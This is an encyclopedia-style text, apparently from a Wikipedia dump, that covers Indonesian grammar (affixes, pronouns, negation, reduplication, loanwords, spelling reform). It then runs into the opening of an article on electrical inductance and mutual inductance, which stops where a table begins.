          As with any language, Indonesian grammar can often present an array of inconsistencies and exceptions. Some base words when combined with two affixes (eg. me + BW + kan) can produce an adjective rather than a verb, or even both. For example, bosan when combined with the affixes me- and -kan produces the word membosankan, meaning boring (adjective) or to bore (someone) (active verb). However, not all base words can be combined with affixes, nor are they always consistent in their subsequent usage and meaning. A prime example is the word tinggal which, when combined with affixes, can change quite dramatically in both meaning and grammatical use:


          
            	Tinggal (base word (BW) form) = to reside, live (in a place)


            	Meninggal (MeN+BW) = to die, pass away (short form of 'Meninggal dunia' below)


            	Meninggal dunia (MeN+BW + world) = to pass away, to die (lit. pass on from the world)


            	Meninggalkan (MeN+BW+kan) = to leave (a place); to leave behind/abandon (someone/ something)


            	Ketinggalan (Ke+BW+an) = to miss (a bus, train, etc); to be left behind


            	Tertinggal (Ter+BW) = to be (accidentally) left behind


            	Ditinggalkan (Di+BW+kan) = to be left behind; to be abandoned


            	Selamat tinggal (word + BW) = goodbye (said to the person staying)

          


          Noun affixes are affixes that form nouns upon addition to base words. The following are examples of noun affixes:


          
            
              	Type of noun affixes

              	Affix

              	Example of root word

              	Example of derived word
            


            
              	Prefix

              	pe(N)-

              	duduk (sit)

              	penduduk (resident)
            


            
              	

              	ke-

              	hendak (want)

              	kehendak (desire)
            


            
              	Infix

              	-el-

              	tunjuk (point)

              	telunjuk (index finger, command)
            


            
              	

              	-em-

              	kelut (dishevelled)

              	kemelut (chaos, crisis)
            


            
              	

              	-er-

              	gigi (teeth)

              	gerigi (toothed blade, serration)
            


            
              	Suffix

              	-an

              	bangun (wake up, raise)

              	bangunan (building)
            


            
              	Confix

              	ke-...-an

              	raja (king)

              	kerajaan (kingdom)
            


            
              	

              	pe-...-an

              	kerja (work)

              	pekerjaan (occupation)
            

          


          (N) and (R) indicate that if a word begins with certain letters (most often vowels or consonants k, p, s, t), the letter will either be omitted or other letters will replace it, most commonly with the letters in the bracket or m, ng, ny and l.


          Similarly, verb affixes are attached to root words to form verbs. In Indonesian, there are:


          
            
              	Type of verb affixes

              	Affix

              	Example of root word

              	Example of derived word
            


            
              	Prefix

              	be(L)-

              	ajar (teach)

              	belajar (to study) - Intransitive
            


            
              	

              	me(N)-

              	tolong (help)

              	menolong (to help) - Active transitive
            


            
              	

              	me(NG)-

              	gambar (picture)

              	menggambar (to draw) - Active transitive
            


            
              	

              	di-

              	ambil (take)

              	diambil (is being taken) - Passive transitive
            


            
              	

              	memper-

              	dalam (depth)

              	memperdalam (to deepen)
            


            
              	

              	dipe(R)-

              	dalam (deep)

              	diperdalam (is being further deepen)
            


            
              	

              	te(R)-

              	makan (eat)

              	termakan (to have accidentally eaten)
            


            
              	Suffix

              	-kan

              	letak (place, keep)

              	letakkan (keep) - Imperative transitive
            


            
              	

              	-i

              	jauh (far)

              	jauhi (avoid) - Imperative transitive
            


            
              	Confix

              	be(R)-...-an

              	pasang (pair)

              	berpasangan (to be paired)
            


            
              	

              	be(R)-...-kan

              	dasar (base)

              	berdasarkan (based upon)
            


            
              	

              	me(M)-...-kan

              	pasti (certain)

              	memastikan (to ensure)
            


            
              	

              	me(N)-...-i

              	teman (companion)

              	menemani (to accompany)
            


            
              	

              	mempe(R)-...-kan

              	guna (use)

              	mempergunakan (to misuse, to utilise)
            


            
              	

              	mempe(L)-...-i

              	ajar (teach)

              	mempelajari (to study)
            


            
              	

              	ke-...-an

              	hilang (disappear)

              	kehilangan (to lose)
            


            
              	

              	di-...-i

              	sakit (pain)

              	disakiti (is being hurt)
            


            
              	

              	di-...-kan

              	benar (right)

              	dibenarkan (is allowed to)
            


            
              	

              	dipe(R)-...-kan

              	kenal (know, recognise)

              	diperkenalkan (is being introduced)
            

          


          Adjective affixes are attached to base words to form adjectives:


          
            
              	Type of adjective affixes

              	Affix

              	Example of root word

              	Example of derived word
            


            
              	Prefix

              	te(R)-

              	kenal (know)

              	terkenal (famous)
            


            
              	

              	se-

              	rupa (appearance)

              	serupa (similar (to))
            


            
              	Infix

              	-em-

              	cerlang (radiant bright)

              	cemerlang (bright, excellent)
            


            
              	

              	-er-

              	sabut (husk)

              	serabut (dishevelled)
            


            
              	Confix

              	ke-...-an

              	barat (west)

              	kebaratan (westernized)
            

          


          In addition to these affixes, Indonesia language also has a lot of borrowed affixes from other languages such as Sanskrit, Arabic and English. For example maha-, pasca-, eka-, bi-, anti-, pro-, pra-, etc.


          


          Compound words


          In Indonesian, new words can be formed by conjoining two or more base words. Compound words, when they exist freely in a sentence, are often written separately. Compound words are only attached to each other when they are bound by a confix or when they are already considered as stable words.


          For example, the word rumah which means house and makan which means eat, are compounded to form a new word rumah makan (restaurant). Similarly, ambil alih (take over) is formed using the root words ambil (take) and alih (shift), but will link together when a circumfix is attached to it, i.e. pengambilalihan (takeover). Certain stable words, such as kakitangan (personnel), and kerjasama (co-oporation; corporation), are spelled as one word even though the words they consist of can also exist freely in sentences.


          


          Initial Consonant Morphing


          Indonesian makes use of initial consonant morphing when using the prefixes me- and pe-. This means that according to the initial sound of the base word, the sounds used in the prefix will differ; this is based on the place of articulation.


          The sound following the me- or pe- suffix is usually a nasal(m, n, ny, ng) or liquid(l, r) sound. Which sound is used depends on the point of articulation. E.g. the initial sound of beli, /b/, is a bi-labial sound (pronounced using both the lips), so the nasal bi-labial sound, /m/ is placed before the base word, creating membeli.


          The initial consonant is dropped if it is unvoiced(/p/, /t/, /s/, /k/), e.g. menulis/tulis, memilih/pilih.


          


          Grammatical gender


          Generally Indonesian does not make use of grammatical gender, and there are only select words that use natural gender. For instance, the same word is used for he and she (dia/ia) or for his and her (dia/ia/-nya). No real distinction is made between "girlfriend" and "boyfriend" (except in the more colloquial terms cewek (girl, girlfriend) and cowok (guy, boyfriend). A majority of Indonesian words that refer to people generally have a form that does not distinguish between the sexes. However, unlike English, distinction is made between older or younger (a characteristic quite common to many Asian languages). For example, adik refers to a younger sibling of either gender and kakak refers to an older sibling, again, either male or female. In order to specify the natural gender of a noun, an adjective must be added. Thus, adik laki-laki corresponds to "younger brother" but really means "younger male sibling".


          There are some words that are gendered, for instance putri means "daughter", and putra means "son" and also pramugara means "air steward" (male flight attendant) and pramugari meaning "air stewardess" (female flight attendant). Another example would be olahragawan, which equates to "sportsman", and olahragawati, meaning sportswoman. Often, words like these (or certain suffixes such as "-a" and "-i" or "-wan" and "wati") are absorbed from other languages (in these cases, from Sanskrit through the Old Javanese language). In some regions of Indonesia such as Sumatera and Jakarta, abang (a gender-specific term meaning "older brother") is commonly used as a form of address for older siblings/ males, whilst kakak (a non-gender specific term (meaning "older sibling") is often used to mean "older sister". Similarly, more direct influences from dialects such as Javanese and Chinese languages have also seen further use of other gendered words in Indonesian. For example: Mas (Jav. = older brother), M'bak (Jav. = older sister), Koko ( Hokkien = older brother) and Cici or Cece(Hokkien = older sister).


          


          Measure words


          Another distinguishing feature of Indonesian language is its use of measure words. In this way, it is similar to many other languages of Asia, including Chinese, Vietnamese, Burmese, and Bengali.


          Examples of these measure words are: ekor (used for animals), buah (generally used for non-living things), orang (used for people), lembar (used for paper), helai (used for long, thin and generally flat things), biji (used for tiny, round things), batang (used for long, stick-like objects), etc. However, these measure words may not always be used in informal conversation.


          
            
              	Indonesian

              	Literal English translation

              	Normal English translation
            


            
              	Tiga ekor sapi

              	Three tails (of) cow

              	Three cows
            


            
              	Sepuluh orang tentara

              	Ten people soldiers

              	Ten soldiers
            


            
              	Lima lembar/ helai/ carik kertas

              	Five sheets/pieces of paper

              	Five sheets/pieces of paper
            


            
              	Sebelas buah apel

              	Eleven fruits (of) apple

              	Eleven apples
            

          


          
            	Importantly, when a measure word is being used in conjunction with only one object, the numeral prefix se- is used in front of the measure word, not satu. Therefore a banana would be translated as (se + MW + object) = sebuah pisang.

          


          


          Negation


          There are three major forms of negation used in the Indonesian language, namely tidak, bukan and belum.


          
            	Tidak (often shortened to tak (written) and nggak (spoken) or by Javanese as ndak) is used for the negation of a verb and adjective.

          


          For example: "saya tidak tahu" = I do not know OR "Ibu saya tidak senang" = My mother is not happy


          
            	Bukan is used in the negation of a noun.

          


          For example: "Itu bukan anjing saya" = That is not my dog


          
            	Belum is primarily used to negate a sentence or phrase with the sense that something has not yet been accomplished or experienced. In this sense, belum can also be used as a negative response to a question.

          


          For example: "Anda sudah pernah ke Indonesia (belum)? "Belum, saya masih belum pernah pergi ke Indonesia" = Have you ever been to Indonesia before, (or not)? No, I have not yet been to Indonesia OR "Orang itu belum terbiasa tinggal di Indonesia" = That person is not (yet) used to living in Indonesia.


          NB: Another kind of negation involves the word jangan, which equates to the English equivalent of "don't" or "do not". Jangan is used for negating imperatives or advising against certain actions. For example, "Jangan tinggalkan saya di sini!" = 'Don't leave me here!'


          


          Pluralisation


          Plurals are expressed by means of reduplication, but only when the plural is not implied in the context. Thus "person" is orang, and "people" is orang-orang, but "a thousand people" is seribu orang, as the use of a numeral (i.e. seribu) renders it unnecessary to mark the plural form.


          For foreigners learning Indonesian, the concept of grammatical reduplication is not as easy to grasp as it may seem. Besides expressing plurals, reduplication can also be used to create new words that differ in meaning. For instance, hati means "heart" or "liver" (depending on context) whereas hati-hati means "to be careful" and is often used as a verb. As stated above, orang means "person" while orang-orang means "people", but orang-orangan means "scarecrow". Also, not all reduplicated words indicate plural forms of a word with many words naturally expressed in reduplicated form. Examples of these include, biri-biri (sheep), kupu-kupu (butterfly) which can imply both a singular or plural meaning, depending on the context or numeral used.


          By contrast, there are also some types of plural words that are expressed by reduplication of a similar sounding (but essentially different) word. In these cases the general sound of a word/phrase is repeated, but the initial letter of the repeated word is changed. A common example of this is sayur-mayur (not sayur-sayur) meaning "vegetables" (plural). Another type of reduplication can be formed through the use of certain affixes (e.g. pe- + -an). For instance, pepohonan ([various kinds of] trees, from the word pohon [tree]), perumahan (houses/ housing, from the word rumah [house]) or pegunungan (mountains, mountain range, from the word gunung [mountain]), and so on.


          Another useful word to remember when pluralizing in Indonesian is beberapa, which means "some." For example one may use beberapa pegunungan to describe a series of mountain ranges, and beberapa kupu-kupu to describe (plural) butterflies.


          


          Pronouns


          There are two forms of "we", kami or kita, depending on whether the speaker includes the person being talked to. Kami (exclusive) is used when the person or people being spoken to are not included, while kita (inclusive) includes the opposite party. Their usage is increasingly confused in colloquial Indonesian. There are two major forms of "I", which are saya and aku. Despite having the same meaning, saya is definitely the more formal form, whereas Aku is used often used with family, friends and between lovers. There are three common forms of "you", which are kamu, Anda and kalian. Anda is the more polite form of "you" and is used in conversations with someone you barely know, advertising, business situations or with someone whom you wish to respect. Kalian is the common plural form of "you" and is often said to be slightly informal.


          NB: Because of the overall structure of Indonesian society and influences from regional dialects, many more different pronouns exist in Indonesian. Some of these 'additional pronouns' may show utmost politeness and respect (eg. saudara/saudari = you (male/female) or Anda sekalian = you (polite, plural form)), may be used only in the most informal of situations (eg. gua/ lu = me/ you - see Indonesian slang), or may even possess somewhat romantic or poetic nuances(eg. daku/dikau = me/you).


          Common Indonesian Pronouns


          
            
              	Type

              	Indonesian

              	English
            


            
              	First Person

              	Saya (standard, polite), Aku (informal, familiar), Gua/Gue (informal, slang)

              	I, me
            


            
              	

              	Kami (excl.), Kita (incl.)

              	We, us
            


            
              	Second Person

              	Anda (polite, formal), Saudara(male)/Saudari(female) (polite, formal)

              	You
            


            
              	

              	Kamu (familiar, informal), (Eng)kau (familiar, informal), Lu (informal, slang)

              	You
            


            
              	

              	Kalian (plural, informal), Anda sekalian (plural, formal), Saudara(i)-saudara(i) (polite)

              	You (plural)
            


            
              	Third Person

              	Ia, Dia

              	He, she, it
            


            
              	

              	Beliau (addressing to high respected person )

              	He, She
            


            
              	

              	Mereka

              	They
            

          


          


          Possessive pronouns


          
            
              	Type of possessive pronouns

              	

              	Possessive pronouns

              	Example of root word

              	Example of derived word(s)
            


            
              	First person

              	Saya, Aku (I)

              	-ku

              	meja (table)

              	mejaku (my table)
            


            
              	

              	Kami (we, referring to 1st and 3rd person), kita (we, referring to 1st and 2nd person)

              	... (milik) kami/kita

              	kursi (chair)

              	kursi (milik) kami, kursi (milik) kita (our chair)
            


            
              	Second person

              	Kamu (you)

              	-mu

              	meja (table)

              	mejamu (your table)
            


            
              	

              	Anda, Saudara (you(polite))

              	... (milik) Anda/Saudara

              	kursi (chair)

              	kursi (milik) Anda/Saudara (your chair)
            


            
              	

              	Kalian (you(plural))

              	... (milik) kalian

              	kursi (chair)

              	kursi (milik) kalian (your chair)
            


            
              	Third person

              	Dia, Ia (he, she, it)

              	-nya

              	meja (table)

              	mejanya (his, her, its table)
            


            
              	

              	Beliau (he, she, it (polite))

              	... (milik) Beliau

              	meja (table)

              	meja (milik) Beliau (his, her, its table)
            


            
              	

              	Mereka (they)

              	... (milik) mereka

              	kursi (chair)

              	kursi (milik) mereka (their chair)
            

          


          


          Demonstrative pronouns


          There are two kinds of demonstrative pronouns in the Indonesian language. Ini (this, these) is used for a noun which is generally near to the speaker. Itu (that, those) is used for a noun which is generally far from the speaker. There is no difference between singular form and the plural form. However, plural can be indicated through duplication of a noun followed by a demonstrative pronoun. Also, the word yang is often placed before demonstrative pronouns to give emphasis and a sense of certainty, particularly when making references or enquiries about something/ someone.


          Various Uses


          
            
              	Demonst. Pronoun

              	Simple Use

              	English Meaning
            


            
              	Ini

              	Buku ini

              	This book
            


            
              	Itu

              	Kucing itu

              	That cat
            

          


          
            
              	Demonst. Pronoun

              	Plural Form (via Noun duplication)

              	English Meaning
            


            
              	Ini

              	Buku-buku ini

              	These books
            


            
              	Itu

              	Kucing-kucing itu

              	Those cats
            

          


          
            
              	Demonst. Pronoun + yang

              	Example Sentence

              	English Meaning
            


            
              	Yang ini

              	
                Q: Anda mau membeli buku yang mana?

                A: Saya mau beli yang ini

              

              	
                Q: Which book do you wish to purchase?

                A: I would like this one (this book)

              
            


            
              	Yang itu

              	
                Q: Kucing mana yang makan tikusmu?

                A: Yang itu!

              

              	
                Q: Which cat ate your mouse?

                A: That one (that cat)!

              
            

          


          


          Verbs


          Verbs are not inflected for person or number, and they are not marked for tense; tense is instead denoted by time adverbs (such as "yesterday") or by other tense indicators (sometimes referred to as aspect particles), such as belum (not yet) or sudah (already). On the other hand, there is a complex system of verb affixes to render nuances of meaning and denote active-passive voices. Such affixes include prefixes, infixes, suffixes, and their combinations; whose usage rules are often ignored in informal conversations.


          


          Emphasis


          Although the basic word order of Indonesian is Subject Verb Object (SVO), as mentioned above, it is possible to make frequent use of passive voice or to scramble word order, thus adding emphasis on a certain sentence particle. The particle being emphasised is usually placed at the beginning of the sentence. In spoken Indonesian, the aspect of the sentence being emphasised is usually followed by a short pause before continuing on with the remainder of the sentence.


          Some examples include:


          
            	Saya pergi ke pasar kemarin "I went to the market yesterday"  neutral, or with emphasis on the subject.


            	Kemarin saya pergi ke pasar "Yesterday I went to the market"  emphasis on yesterday.


            	Ke pasar saya pergi, kemarin "To the market I went yesterday"  emphasis on where I went yesterday.


            	Pergi ke pasar, saya, kemarin "To the market went I yesterday"  emphasis on the process of going to the market.

          


          NB: Some of the above examples (namely the latter two) are more likely to be encountered in spoken Indonesian rather than written forms of the language.


          


          Vocabulary


          Indonesian as a modern dialect of Malay has borrowed heavily from many languages, including: Sanskrit, Arabic, Persian, Portuguese, Dutch, Chinese and many other languages, including other Austronesian languages. It is estimated that there are some 750 Sanskrit loanwords in modern Indonesian, 1,000 Arabic loans, some of Persian and Hebrew origin, some 125 words of Portuguese (also Spanish and Italian) origin and a staggering number of some 10,000 loanwords from Dutch. The latter also comprises many words from other European languages, which came via Dutch, the so-called "International Vocabulary". The vast majority of Indonesian words, however, come from the root lexical stock of its Austronesian (incl. Old Malay) heritage.


          Although Hinduism and Buddhism are no longer the major religions of Indonesia, Sanskrit which was the language vehicle for these religions, is still held in high esteem and is comparable with the status of Latin in English and other Western European languages. Residents of Bali and Java tend to be particularly proud of the Hindu-Buddhist heritage. Sanskrit is also the main source for neologisms. These are usually formed from Sanskrit roots. The loanwords from Sanskrit cover many aspects of religion, art and everyday life. The Sanskrit influence came from contacts with India long ago before the time of Christ. The words are either directly borrowed from India or with the intermediary of the Old Javanese language. In the classical language of Java, Old Javanese, the number of Sanskrit loanwords is far greater. The Old Javanese  English dictionary by prof. P.J. Zoetmulder, S.J. (1982) contains no fewer than 25,500 entries. Almost half are Sanskrit loanwords. Sanskrit loanwords, unlike those from other languages, have entered the basic vocabulary of Indonesian to such an extent that, for many, they are no longer perceived to be foreign.


          The loanwords from Arabic are mainly concerned with religion, in particular with Islam, as can be expected. Allah is the word for God even in Christian Bible translations. Many early Bible translators, when they came across some unusual Hebrew words or proper names, used the Arabic cognates. In the newer translations this practice is discontinued. They now turn to Greek names or use the original Hebrew Word. For example, the name Jesus was initially translated as 'Isa, but is now spelt as Yesus. Psalms used to be translated as Zabur, the Arabic name, but now it is called Mazmur which corresponds more with Hebrew.


          Loanwords from Portuguese are common words, which were mainly connected with articles the early European traders and explorers brought to Southeast Asia. The Portuguese were among the first westerners to sail east to the " Spice Islands".


          The Chinese loanwords are usually concerned with cuisine, trade or often just exclusively things Chinese. There is a considerable Chinese presence in the whole of Southeast Asia. According to the 2000 census, the relative number of people of Chinese descent in Indonesia is almost 1%, although this may likely be an underestimate.


          The former colonial power, the Netherlands, left an impressive vocabulary. These Dutch loanwords, and also from other non Italo-Iberian, European languages loanwords which came via Dutch, cover all aspects of life. Some Dutch loanwords, having clusters of several consonants, pose difficulties to speakers of Indonesian. This problem is usually solved by insertion of the schwa. For example Dutch schroef ['sxruf]  sekrup [sə'krup].


          As modern Indonesian draws many of its words from foreign sources, there are many synonyms. For example, Indonesian has three words for "book", i.e. pustaka (from Sanskrit), kitab (from Arabic) and buku (from Dutch). These words have, unsurprisingly, slightly different meanings. A pustaka is often connected with ancient wisdom or sometimes with esoteric knowledge. A derived form, perpustakaan means a library. A kitab is usually a religious scripture or a book containing moral guidances. The Indonesian words for the Bible are Alkitab and Injil, both directly derived from Arabic. The book containing the penal code is also called the kitab. Buku is the most common word for books.


          In addition to those above (and the borrowed words listed under the sub-heading History towards the top of this article), there are also direct borrowings from various other languages of the world, such as "karaoke" from Japanese, and " modem" from English.


          


          Spoken & informal Indonesian


          In very informal spoken Indonesian, various words are replaced with those of a less formal nature (e.g. tidak (no) is often replaced with the Javanese nggak whilst seperti (like, similar to) is often replaced with kayak (pronounced kai-yuck)). As for pronunciation, the diphthongs ai and au on the end of base words are typically pronounced as /e/ and /o/. In informal writing the spelling of words is modified to reflect the actual pronunciation in a way that can be produced with less effort. E.g.: capai becomes cape or capek, pakai become pake, kalau becomes kalo.


          In verbs, the prefix me- is often dropped, although an initial nasal consonant is usually retained. E.g.: mengangkat becomes ngangkat (the basic word is angkat). The suffixes -kan and -i are often replaced by -in. E.g.: mencarikan becomes nyariin, menuruti becomes nurutin. The latter grammatical aspect is one often closely related to Indonesian found in Jakarta and surrounding areas.


          


          Writing system


          Indonesian is written using the Latin alphabet. It is more phonetically consistent than many languagesthe correspondence between sounds and their written forms is generally regular.


          Consonants are represented in a way similar to Italian, although c is always /ʧ/ (like English "tch"), g is always /g/ ("hard") and j represents /ʤ/ as it does in English. In addition, ny represents the palatal nasal /ɲ/, ng is used for the velar nasal /ŋ/ (which can occur word-initially), sy for /ʃ/ (English "sh") and kh for the voiceless velar fricative /x/. Both /e/ and /ə/ are represented with an e.


          One common source of confusion for foreign readers, particularly when reading place names, is the spelling changes in the language that have occurred since Indonesian independence. Commonly-used changes include:


          
            
              	Old

              spelling

              	New

              spelling
            


            
              	oe

              	u
            


            
              	tj

              	c
            


            
              	dj

              	j
            


            
              	j

              	y
            


            
              	nj

              	ny
            


            
              	sj

              	sy
            


            
              	ch

              	kh
            

          


          The first of these changes (oe to u) occurred around the time of independence in 1947; all of the others were a part of an officially-mandated spelling reform in 1972. Some of the old spellings, which were more closely derived from the Dutch language, do survive in proper names; for example, the name of a former president of the Indonesia is still sometimes written Soeharto, and the central Java city of Yogyakarta is sometimes written Jogjakarta.


          


          Idioms and Proverbs


          
            	Ada gula, Ada semut.

          


          Lit. "Where there's sugar, there are ants". Equivalent to the modern English idiom "Where there's a will there's a relative". Where there is a good thing (sugar) there will be people taking advantage of it (ants). Indonesian idioms can be quite cynical.


          
            Retrieved from " http://en.wikipedia.org/wiki/Indonesian_language"
          


          

        

      

    


    


    
      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        Inductance


        
          

          
            
              	Electromagnetism
            


            
              	[image: ]
            


            
              	
                Electricity Magnetism

                
                  
                    	Electrostatics
                  


                  
                    	 Electric charge Coulombs law Electric field Electric flux Gauss law Electric potential Electrostatic induction Electric dipole moment
                  

                


                
                  
                    	Magnetostatics
                  


                  
                    	 Ampres law Electric current Magnetic field Magnetic flux BiotSavart law Magnetic dipole moment Gausss law for magnetism
                  

                


                
                  
                    	Electrodynamics
                  


                  
                    	 Free space Lorentz force law EMF Electromagnetic induction Faradays law Displacement current Maxwells equations EM field Electromagnetic radiation Linard-Wiechert Potentials Maxwell tensor Eddy current
                  

                


                
                  
                    	Electrical Network
                  


                  
                    	 Electrical conduction Electrical resistance Capacitance Inductance Impedance Resonant cavities Waveguides
                  

                


                
                  
                    	Covariant formulation
                  


                  
                    	 Electromagnetic tensor EM Stress-energy tensor Four-current Four-potential
                  

                


                
                  
                    	Scientists
                  


                  
                    	 Ampere Coulomb Faraday Heaviside Henry Hertz Lorentz Maxwell Tesla Weber
                  

                

              
            


            
              	
            

          


          An electric current i flowing around a circuit produces a magnetic field and hence a magnetic flux  through the circuit. The ratio of the magnetic flux to the current is called the inductance, or more accurately self-inductance of the circuit. The term was coined by Oliver Heaviside in February 1886. It is customary to use the symbol L for inductance, possibly in honour of the physicist Heinrich Lenz. The quantitative definition of the inductance per coil turn in SI units ( webers per ampere) is


          
            	[image: L= \frac{\Phi}{i}.]

          


          In honour of Joseph Henry, the unit of inductance has been given the name henry (H): 1H = 1Wb/A.


          In the above definition, the magnetic flux  is that caused by the current flowing through the circuit concerned. There may, however, be contributions from other circuits. Consider for example two circuits C1, C2, carrying the currents i1, i2. The magnetic fluxes 1 and 2 in C1 and C2, respectively, are given by


          
            	[image: \displaystyle \Phi_1 = L_{11}i_1 + L_{12}i_2,]


            	[image: \displaystyle \Phi_2 = L_{21}i_1 + L_{22}i_2.]

          


          According to the above definition, L11 and L22 are the self-inductances of C1 and C2, respectively. It can be shown (see below) that the other two coefficients are equal: L12 = L21 = M, where M is called the mutual inductance of the pair of circuits.


          Self and mutual inductances also occur in the expression


          
            	[image: \displaystyle W=\frac{1}{2}\sum_{m,n=1}^{N}L_{m,n}i_{m}i_{n}]

          


          for the energy of the magnetic field generated by N electrical circuits carrying the currents in. This equation is an alternative definition of inductance, also valid when the currents don't flow in thin wires and when it thus is not immediately clear what the area encompassed by a circuit is and how the magnetic flux through the circuit is to be defined. The definition L =  / i, in contrast, is more direct and more intuitive. It may be shown that the two definitions are equivalent by equating the time derivate of W and the electric power transferred to the system.


          


          Properties of inductance


          The equation relating inductance and flux linkages can be rearranged as follows:


          
            	[image: \Phi = Li \,]

          


          Taking the time derivative of both sides of the equation yields:


          
            	[image: \frac{d\Phi}{dt} = L \frac{di}{dt} + i \frac{dL}{dt} \,]

          


          In most physical cases, the inductance is constant with time and so


          
            	[image: \frac{d\Phi}{dt} = L \frac{di}{dt}]

          


          By Faraday's Law of Induction we have:


          
            	[image: \frac{d\Phi}{dt} = -\mathcal{E} = v ]

          


          where [image: \mathcal{E}] is the Electromotive force (emf) and v is the induced voltage. Note that the emf is opposite to the induced voltage. Thus:


          
            	[image: \frac{di}{dt} = \frac{v}{L}]

          


          or


          
            	[image: i(t) = \frac{1}{L} \int_0^tv(\tau) d\tau + i(0)]

          


          These equations together state that, for a steady applied voltage v, the current changes in a linear manner, at a rate proportional to the applied voltage, but inversely proportional to the inductance. Conversely, if the current through the inductor is changing at a constant rate, the induced voltage is constant.


          The effect of inductance can be understood using a single loop of wire as an example. If a voltage is suddenly applied between the ends of the loop of wire, the current must change from zero to non-zero. However, a non-zero current induces a magnetic field by Ampre's law. This change in the magnetic field induces an emf that is in the opposite direction of the change in current. The strength of this emf is proportional to the change in current and the inductance. When these opposing forces are in balance, the result is a current that increases linearly with time where the rate of this change is determined by the applied voltage and the inductance.


          Multiplying the equation for di / dt above with Li leads to


          
            	[image: Li\frac{di}{dt}=\frac{d}{dt}\frac{L}{2}i^{2}=iv]

          


          Since iv is the energy transferred to the system per time it follows that [image: \left( L/2 \right)i^2] is the energy of the magnetic field generated by the current.


          


          Phasor circuit analysis and impedance


          Using phasors, the equivalent impedance of an inductance is given by:


          
            	[image: Z_L = V / I = j L \omega \, ]

          


          where


          
            	j is the imaginary unit,


            	L is the inductance,


            	[image:  \omega = 2 \pi f \, ] is the angular frequency,


            	f is the frequency and


            	[image:  L \omega \ = X_L ] is the inductive reactance.

          


          


          Induced emf


          The flux [image: \Phi_i\ \!] through the i-th circuit in a set is given by:


          
            	[image:  \Phi_i = \sum_{j} M_{ij}I_j = L_i I_i + \sum_{j\ne i} M_{ij}I_j \,]

          


          so that the induced emf, [image: \mathcal{E}], of a specific circuit, i, in any given set can be given directly by:


          
            	[image: \mathcal{E} = -\frac{d\Phi_i}{dt} = -\frac{d}{dt} \left (L_i I_i + \sum_{j\ne i} M_{ij}I_j \right ) = -\left(\frac{dL_i}{dt}I_i +\frac{dI_i}{dt}L_i \right) -\sum_{j\ne i} \left (\frac{dM_{ij}}{dt}I_j + \frac{dI_j}{dt}M_{ij} \right).]

          


          


          Coupled inductors


          
            [image: The circuit diagram representation of mutually inducting inductors. The two vertical lines between the inductors indicate a solid core that the wires of the inductor are wrapped around. "n:m" shows the ratio between the number of windings of the left inductor to windings of the right inductor. This picture also shows the dot convention.]

            
              The circuit diagram representation of mutually inducting inductors. The two vertical lines between the inductors indicate a solid core that the wires of the inductor are wrapped around. "n:m" shows the ratio between the number of windings of the left inductor to windings of the right inductor. This picture also shows the dot convention.
            

          


          Mutual inductance is the concept that the change in current in one inductor can induce a voltage in another nearby inductor. It is important as the mechanism by which transformers work, but it can also cause unwanted coupling between conductors in a circuit.


          The mutual inductance, M, is also a measure of the coupling between two inductors. The mutual inductance by circuit i on circuit j is given by the double integral Neumann formula, see #Calculation techniques


          The mutual inductance also has the relationship:


          
            	[image: M_{21} = N_1 N_2 P_{21} \!]

          


          where


          
            	M21 is the mutual inductance, and the subscript specifies the relationship of the voltage induced in coil 2 to the current in coil 1.


            	N1 is the number of turns in coil 1,


            	N2 is the number of turns in coil 2,


            	P21 is the permeance of the space occupied by the flux.

          


          The mutual inductance also has a relationship with the coupling coefficient. The coupling coefficient is always between 1 and 0, and is a convenient way to specify the relationship between a certain orientation of inductor with arbitrary inductance:


          
            	[image: M = k \sqrt{L_1 L_2} \! ]

          


          where


          
            	k is the coupling coefficient and 0  k  1,


            	L1 is the inductance of the first coil, and


            	L2 is the inductance of the second coil.

          


          Once this mutual inductance factor M is determined, it can be used to predict the behaviour of a circuit:


          
            	[image:  V_1 = L_1 \frac{dI_1}{dt} + M \frac{dI_2}{dt} ]

          


          where


          
            	V is the voltage across the inductor of interest,


            	L1 is the inductance of the inductor of interest,


            	dI1 / dt is the derivative, with respect to time, of the current through the inductor of interest,


            	M is the mutual inductance and


            	dI2 / dt is the derivative, with respect to time, of the current through the inductor that is coupled to the first inductor.

          


          When one inductor is closely coupled to another inductor through mutual inductance, such as in a transformer, the voltages, currents, and number of turns can be related in the following way:


          
            	[image: V_s = V_p \frac{N_s}{N_p} ]

          


          where


          
            	Vs is the voltage across the secondary inductor,


            	Vp is the voltage across the primary inductor (the one connected to a power source),


            	Ns is the number of turns in the secondary inductor, and


            	Np is the number of turns in the primary inductor.

          


          Conversely the current:


          
            	[image: I_s = I_p \frac{N_p}{N_s} ]

          


          where


          
            	Is is the current through the secondary inductor,


            	Ip is the current through the primary inductor (the one connected to a power source),


            	Ns is the number of turns in the secondary inductor, and


            	Np is the number of turns in the primary inductor.

          


          Note that the power through one inductor is the same as the power through the other. Also note that these equations don't work if both transformers are forced (with power sources).


          When either side of the transformer is a tuned circuit, the amount of mutual inductance between the two windings determines the shape of the frequency response curve. Although no boundaries are defined, this is often referred to as loose-, critical-, and over-coupling. When two tuned circuits are loosely coupled through mutual inductance, the bandwidth will be narrow. As the amount of mutual inductance increases, the bandwidth continues to grow. When the mutual inductance is increased beyond a critical point, the peak in the response curve begins to drop, and the centre frequency will be attenuated more strongly than its direct sidebands. This is known as overcoupling.


          


          Calculation techniques


          


          Mutual inductance


          The mutual inductance by circuit i on circuit j is given by the double integral Neumann formula


          
            	[image:  M_{ij} = \frac{\mu_0}{4\pi} \oint_{C_i}\oint_{C_j} \frac{\mathbf{ds}_i\cdot\mathbf{ds}_j}{|\mathbf{R}_{ij}|} ]

          


          The constant 0 is the permeability of free space (4  10-7 H/m), Ci and Cj are the curves spanned by the wires, Rij is the distance between two points. See a derivation of this equation.


          


          Self-inductance


          Formally the self-inductance of a wire loop would be given by the above equation with i =j. However, 1 / R now gets singular and the finite radius a and the distribution of the current in the wire must be taken into account. There remain the contribution from the integral over all points where [image: |R| \ge a/2] and a correction term,


          
            	[image:  L_{jj} = L = \left (\frac{\mu_0}{4\pi} \oint_{C}\oint_{C'} \frac{\mathbf{ds}\cdot\mathbf{ds}'}{|\mathbf{R}|}\right )_{|\mathbf{R}| \ge a/2} + \frac{\mu_0}{2\pi}lY]

          


          Here a and l denote radius and length of the wire, and Y is a constant that depends on the distribution of the current in the wire: Y = 0 when the current flows in the surface of the wire ( skin effect), Y = 1 / 4 when the current is homogenuous across the wire. Here is a derivation of this equation.


          


          Self-inductance of simple electrical circuits


          The self-inductance of many types of electrical circuits can be given in closed form. Examples are listed in the table.


          
            
